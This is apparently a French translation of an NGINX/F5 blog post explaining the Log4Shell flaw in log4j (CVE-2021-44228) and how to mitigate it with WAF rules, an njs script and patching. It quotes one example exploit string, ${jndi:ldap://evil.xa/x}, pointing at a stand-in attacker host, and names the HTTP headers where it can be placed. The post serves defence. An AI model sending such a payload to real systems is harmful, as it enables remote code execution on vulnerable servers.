Atténuer la vulnérabilité log4j (CVE-2021-44228) avec NGINX
Le vendredi 10 décembre 2021 est une date qui restera dans les mémoires de nombreux professionnels de l’informatique à travers le monde. C'est à ce moment-là qu'une vulnérabilité zero-day hautement critique a été découverte dans la bibliothèque de journalisation très populaire pour les applications Java, log4j . Le nom « Log4Shell » a rapidement été inventé pour cet exploit, et les entreprises de toutes tailles se sont précipitées pour mettre en œuvre des stratégies d’atténuation. Cela a été suivi par un marathon de correctifs qui, au moment de la rédaction de cet article, est toujours en cours.
NGINX et F5 ont analysé la menace et dans cet article, nous proposons diverses options d'atténuation pour protéger vos applications.
Qu'est-ce que Log4Shell ?
La version 2.15 et les versions antérieures de la bibliothèque log4j sont vulnérables à la vulnérabilité d'exécution de code à distance (RCE) décrite dans CVE-2021-44228 . ( La version 2.16 de log4j corrige la vulnérabilité.) Log4Shell est le nom donné à l'exploit de cette vulnérabilité. Mais quelle est cette vulnérabilité et pourquoi est-elle si critique ? Comme décrit dans le CVE, la bibliothèque Java Apache log4j ne valide pas correctement les entrées.
La fonctionnalité Java Naming and Directory Interface (JNDI) de la bibliothèque log4j et l'environnement d'exécution Java peuvent être utilisés pour effectuer des recherches à distance afin de récupérer des données à partir de sources externes, telles qu'un nom d'utilisateur LDAP ou une adresse IP DNS, pour les inclure dans une entrée de journal. Malheureusement, les attaquants distants peuvent détourner JNDI pour exécuter le code Java qu’ils ont écrit. Le diagramme suivant illustre l’attaque.
Pour exploiter une cible vulnérable, les attaquants doivent tromper le code de l'application en écrivant une entrée de journal qui inclut une chaîne telle que ${jndi:ldap://evil.xa/x} . La question intéressante est : où placer la chaîne pour qu’elle se retrouve dans un message de journal ? Pour de nombreuses applications, la journalisation est essentielle et de nombreuses informations différentes sont enregistrées sur chaque requête entrante, y compris les en-têtes HTTP tels que User-Agent et X-Forwarded-For , l'URI et le corps de la requête. Il existe de nombreux vecteurs d'attaque, et tant que la chaîne est enregistrée avec log4j, l'application peut être exploitée.
NGINX est-il affecté par cette vulnérabilité ?
Non. NGINX lui-même n’est pas vulnérable à cet exploit, car il est écrit en C et n’utilise pas Java ni aucune bibliothèque basée sur Java. Pour la réponse officielle à CVE-2021-44228 pour tous les produits F5 et NGINX, consultez l'article K19026212 dans la base de connaissances AskF5.
Comment NGINX aide-t-il à atténuer l’exploit ?
Comme mentionné ci-dessus, un attaquant doit envoyer la chaîne d’exploitation à l’application cible quelque part dans la requête HTTP. NGINX fournit plusieurs outils permettant d'analyser les requêtes entrantes à la recherche d'indications de compromission (IOC) et de les bloquer.
Le moyen le plus efficace de bloquer les requêtes malveillantes est d’utiliser un pare-feu d’application Web (WAF). Il analyse chaque demande entrante à la recherche d'indications de CVE-2021-44228 en comparant les données de la demande à un ensemble de règles précompilées. Cependant, la mise à jour des règles WAF après un exploit zero-day s’apparente à une course aux armements. Dès que les règles WAF sont disponibles pour un exploit donné, les attaquants recherchent des techniques et des modèles permettant de contourner le WAF. Assurez-vous de maintenir vos règles WAF à jour.
WAF NGINX ModSecurity
ModSecurity est un WAF open source, et également disponible en tant qu'offre commerciale de NGINX, le module NGINX ModSecurity WAF pour NGINX Plus. L' ensemble de règles de base OWASP ModSecurity (CRS) inclut une règle existante (932130) qui peut atténuer les risques liés à Log4Shell. Pour plus de détails sur cette solution et une protection plus avancée, consultez le blog CRS .
[ Éditeur – NGINX ModSecurity WAF est officiellement en fin de commercialisation depuis le 1er avril 2022 et passe en fin de vie à compter du 31 mars 2024 . Pour plus de détails, voir F5 NGINX ModSecurity WAF Is Transitioning to End-of-Life<.htmla> sur notre blog.]
Protection des applications NGINX WAF
NGINX App Protect WAF est une solution de sécurité des applications moderne. Sur la base d'une enquête continue sur la menace et des contournements WAF connus, nous avons mis à jour l'ensemble de signatures d'injection de code côté serveur avec de nouvelles règles pour détecter efficacement les attaques Log4Shell. Pour plus de détails, consultez la base de connaissances AskF5 .
Module JavaScript NGINX
NGINX et NGINX Plus sont largement déployés en tant que proxy inverse devant de nombreuses applications basées sur Java. Pour les utilisateurs et les clients sans accès à un WAF, nous avons créé un script qui utilise le module JavaScript NGINX (njs). Le script analyse les en-têtes HTTP, les URI et les corps de requête dans les requêtes entrantes, en utilisant des chaînes IOC connues ainsi que des expressions régulières pour faire correspondre les données d'entrée et bloquer les requêtes malveillantes.
Le script njs est disponible sur GitHub . Pour obtenir des instructions sur l'installation du module njs, consultez le Guide d'administration NGINX Plus .
Résumé
La solution la plus efficace pour Log4Shell consiste à appliquer un correctif au code de l'application avec la version 2.16 ou ultérieure de log4j , qui désactive JDNI. Si cela n'est pas immédiatement possible, un WAF peut atténuer efficacement la menace jusqu'à ce que vous ayez le temps d'appliquer le correctif. Si vous ne disposez pas encore d'un WAF, vous pouvez utiliser notre script njs pour mettre en œuvre une protection spécifique contre la menace. Utilisez les ressources ci-dessous pour en savoir plus et sélectionner la protection la plus appropriée pour vos applications.
Ressources
- CVE-2021-44228 – Le CVE officiel
- Exploit zero-day ciblant la bibliothèque Java populaire Log4j – Un aperçu précieux de la vulnérabilité
- K19026212: Vulnérabilité d'exécution de code à distance Apache Log4j2 CVE-2021-44228 – Réponse officielle de F5
- CRS et Log4j / Log4Shell / CVE-2021-44228 – Blog sur l'ensemble de règles de base de ModSecurity
- Inspection de la demande NGINX njs pour CVE-2021-44228 – Solution d'atténuation JavaScript NGINX
« Cet article de blog peut faire référence à des produits qui ne sont plus disponibles et/ou qui ne sont plus pris en charge. Pour obtenir les informations les plus récentes sur les produits et solutions F5 NGINX disponibles, explorez notre famille de produits NGINX . NGINX fait désormais partie de F5. Tous les liens NGINX.com précédents redirigeront vers un contenu NGINX similaire sur F5.com."